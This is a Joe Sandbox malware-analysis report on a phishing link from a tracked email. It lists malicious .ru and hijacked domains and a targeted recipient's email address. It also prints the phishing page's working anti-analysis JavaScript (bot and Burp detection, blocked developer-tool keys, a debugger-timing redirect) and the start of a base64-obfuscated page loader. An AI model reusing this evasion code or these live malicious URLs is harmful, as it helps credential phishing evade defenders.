Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com	0%	Avira URL Cloud	safe
https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Source	Detection	Scanner	Label
https://petadolex.ca/Privacy/mwe.html	0%	Avira URL Cloud	safe
https://tc39.es/proposal-error-cause/#sec-errorobjects-install-error-cause	0%	Avira URL Cloud	safe
https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D	0%	Avira URL Cloud	safe
http://petadolex.ca//Privacy/mwe.html	0%	Avira URL Cloud	safe
https://bugs.chromium.org/p/v8/issues/detail?id=12006	0%	Avira URL Cloud	safe
https://aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru/598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
u48635528.ct.sendgrid.net	167.89.118.23	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
o6rl.inexpartan.ru	104.21.91.204	true	true	unknown
www.google.com	172.217.21.36	true	false	high
petadolex.ca	192.185.77.74	true	true	unknown
aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru	172.67.168.1	true	false	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
s.go-mpulse.net	unknown	unknown	false	high
www.azure.com	unknown	unknown	false	high
play.vidyard.com	unknown	unknown	false	high
cdn.botframework.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8f71270faa3f423a/1735049197093/4d817d3c4d7367ea88d3e4c448db4fd7f0e9c1b3844763606733f21905384022/4-si6UbIXrCDaOH	false		high
https://aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru/598751268380591bUNXIIfJaIAHTIXSYQUJXLCQDGIOWNJQWJMTAUJIIGQ	false	Avira URL Cloud: malware	unknown
http://petadolex.ca//Privacy/mwe.html	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1333725566:1735046060:ea7DtCrMPzRHKu6JjFqJvdNTHHkD3P6YuZW747PdR4Y/8f71270faa3f423a/qEnuJJ6hsd2nQpw8YmXDFEnYwgxQQgvbDsWJJCsuHBk-1735049192-1.1.1.1-uO8h3i.NDANY4hPZuNQYsijOqvbMG2iJ4kKaQ5gCVucf1LtqvyuODcuc2aYcszLF	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/turnstile/v0/b/787bc399e22f/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8f71270faa3f423a/1735049197089/RNQ7OOfTgli-F5R	false		high
https://petadolex.ca/Privacy/mwe.html	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/o2okh/0x4AAAAAAA3SrXwIAdDnw3nH/auto/fbE/normal/auto/	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://a.nel.cloudflare.com/report/v4?s=ZDUxCl9o5ILuNQ9LtJV5oDGSehkMgtpnrYG3dGjUe%2BkEJhR5Vd0N%2B0QiT4mUIWvAWOCt%2FonG9TjoVuWrq4fzPWKOxgCQk5dzZPG6Ez4syCDm8IZxaOOzwCQpM%2BFunQ%3D%3D	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8f71270faa3f423a&lang=auto	false		high
https://a.nel.cloudflare.com/report/v4?s=mE2ru3%2FloL1M4wGqzTMnZ9emURenUJcl7iXw3H2DbPreURfcPsPl96mKnx9D3mq6OzS%2FxlBwQ3LKUn900lsO69AmDyYB8ACps9jndZ2kUoJkB1bXail%2B9GrtGl3k4Oi5uKi1VPIX	false		high
https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mozilla/rhino/issues/346	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://login.microsoftonline.com/uxlogout?appid	chromecache_160.2.dr	false		high
https://tc39.es/ecma262/#sec-toobject	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://bugzil.la/548397	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://github.com/carhartl/jquery-cookie	chromecache_109.2.dr, chromecache_128.2.dr	false		high
https://tc39.es/ecma262/#sec-lengthofarraylike	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot-aec	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-iscallable	chromecache_148.2.dr, chromecache_154.2.dr	false		high
http://scottjehl.github.io/picturefill	chromecache_121.2.dr	false		high
https://tc39.es/ecma262/#sec-object.getownpropertydescriptor	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://github.com/zloirock/core-js	chromecache_108.2.dr, chromecache_148.2.dr, chromecache_154.2.dr, chromecache_122.2.dr	false		high
https://login.microsoftonline.com/savedusers?appid	chromecache_160.2.dr	false		high
https://tc39.es/ecma262/#sec-object.prototype.propertyisenumerable	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-array.prototype.includes	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-object.defineproperty	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-object.setprototypeof	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-hasownproperty	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-math.trunc	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://bugs.chromium.org/p/v8/issues/detail?id=12006	chromecache_148.2.dr, chromecache_154.2.dr	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=277178	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://github.com/tc39/proposal-error-cause	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=308064	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://github.com/scottjehl/picturefill/blob/master/Authors.txt;	chromecache_121.2.dr	false		high
https://tc39.es/ecma262/#sec-tointegerorinfinity	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-requireobjectcoercible	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://github.com/w3c/aria-practices/pull/1757	chromecache_148.2.dr, chromecache_154.2.dr	false		high
http://github.com/requirejs/almond/LICENSE	chromecache_124.2.dr, chromecache_92.2.dr	false		high
https://github.com/scottjehl/picturefill/tree/3.0/src/plugins/gecko-picture	chromecache_121.2.dr	false		high
https://github.com/microsoft/BotFramework-WebChat/issues/2119	chromecache_143.2.dr	false		high
https://login.microsoftonline.com/forgetuser	chromecache_160.2.dr	false		high
https://github.com/zloirock/core-js/blob/v3.30.1/LICENSE	chromecache_108.2.dr, chromecache_122.2.dr	false		high
https://keycode.info/table-of-all-keycodes	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-getmethod	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-toprimitive	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://github.com/nevware21/ts-async	chromecache_132.2.dr, chromecache_126.2.dr	false		high
https://scottjehl.github.io/picturefill/	chromecache_121.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-topropertykey	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://dev.azure.com/mscomdev/Moray/_workitems/edit/4494	chromecache_154.2.dr	false		high
https://github.com/zloirock/core-js/blob/v3.25.0/LICENSE	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://elad.medium.com/css-position-sticky-how-it-really-works-54cd01dc2d46	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://jquery.org/license	chromecache_99.2.dr	false		high
https://bugs.chromium.org/p/v8/issues/detail?id=3334	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://jquery.com/	chromecache_99.2.dr	false		high
https://tc39.es/ecma262/#sec-object.getownpropertynames	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://javascript.info/size-and-scroll-window#width-height-of-the-document	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-array.prototype.indexof	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-tolength	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://github.com/zloirock/core-js/issues/86#issuecomment-115759028	chromecache_148.2.dr, chromecache_154.2.dr	false		high
https://sizzlejs.com/	chromecache_99.2.dr	false		high
https://js.foundation/	chromecache_99.2.dr	false		high
https://tc39.es/proposal-error-cause/#sec-errorobjects-install-error-cause	chromecache_148.2.dr, chromecache_154.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-ordinarytoprimitive	chromecache_148.2.dr, chromecache_154.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
104.21.91.204	o6rl.inexpartan.ru	United States	13335	CLOUDFLARENETUS	true
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
192.185.77.74	petadolex.ca	United States	46606	UNIFIEDLAYER-AS-1US	true
172.67.168.1	aor0uy31giayv7sv489le3qcmkvpqjcnzqqb1rlz1pffhpbr94sby.ygncsqvu.ru	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
167.89.118.23	u48635528.ct.sendgrid.net	United States	11377	SENDGRIDUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580436
Start date and time:	2024-12-24 15:05:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.win@22/121@44/14

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 142.250.181.142, 173.194.220.84, 199.232.214.172, 192.229.221.95, 20.76.201.171, 20.70.246.20, 88.221.170.73, 172.217.17.35, 88.221.169.152, 2.18.64.20, 2.18.64.21, 23.195.38.175, 152.199.19.160, 151.101.129.181, 151.101.65.181, 151.101.193.181, 151.101.1.181, 184.28.90.27, 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): bot-framework.azureedge.net, bot-framework.ec.azureedge.net, slscr.update.microsoft.com, reroute443.trafficmanager.net, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, update.googleapis.com, acom-site-prod-glbl-01.trafficmanager.net, e17307.dscb.akamaiedge.net, e4518.dscx.akamaiedge.net, san-ion.secure4.scene7.com.edgekey.net, ip46.go-mpulse.net.edgekey.net, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, cs22.wpc.v0cdn.net, ctldl.windowsupdate.com, p.shared.global.fastly.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, reroute.microsoft.com, azure.microsoft.com, edgedl.me.gvt1.com, cdn-dynmedia-1.microsoft.com, e81481.dsca.akamaiedge.net, clients.l.google.com, www.microsoft.com, azure.microsoft.com.edgekey.net, wcpstatic.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com

Input	Output
URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.co... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and triggering a redirect to an external domain. The script appears to be attempting to prevent analysis and interaction, which is a strong indicator of malicious intent." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); ORMJAMwRGk = false; (function GXwBlUcIiO() { let nuPAzZOHFD = false; const jrSRNMxBti = 100; setInterval(function() { const oQQctgdgHI = performance.now(); debugger; const enfTlLrRhB = performance.now(); if (enfTlLrRhB - oQQctgdgHI > jrSRNMxBti && !nuPAzZOHFD) { ORMJAMwRGk = true; nuPAzZOHFD = true; window.location.replace('https://www.azure.com'); } }, 100); })();
URL: https://o6rl.inexpartan.ru/0Fhb7R/?qrc=mlyon@wc.co... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent." }
if(atob("aHR0cHM6Ly80c1V6LmluZXhwYXJ0YW4ucnUvMEZoYjdSLw==") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNIZGRjbW1Vd09vIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0hkZGNtbVV3T28gaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0hkZGNtbVV3T28gaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojSGRkY21tVXdPbyBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0hkZGNtbVV3T28uY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogODBweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI0hkZGNtbVV3T28gLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNIZGRjbW1Vd09vIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojSGRkY21tVXdPbyAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNIZGRjbW1Vd09vIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNIZGRjbW1Vd09vIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojSGRkY21tVXdPbyAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyIWltcG9ydGFudDt9DQojSGRkY21tVXdPby5tdC01e21hcmdpbi10b3A6M3JlbSFpbXBvcnRhbnQ7fQ0KI0hkZGNtbVV3T28gLm10LTQge21hcmdpbi10b3A6IDFyZW0haW1wb3J0YW50O30NCiNIZGRjbW1Vd09vICNCeXp3WHFMV3dXIHtjb2xvcjogIzZjNzU3ZDtmb250LXNpemU6MTRweDttYXJnaW4tdG9wOiAuNXJlbTt9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0Pg0KICAgIGlmIChuYXZpZ2F0b3Iud2ViZHJpdmVyIHx8IHdpbmRvdy5jYWxsUGhhbnRvbSB8fCB3aW5kb3cuX3BoYW50b20gfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmNsdWRlcygiQnVycCIpKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50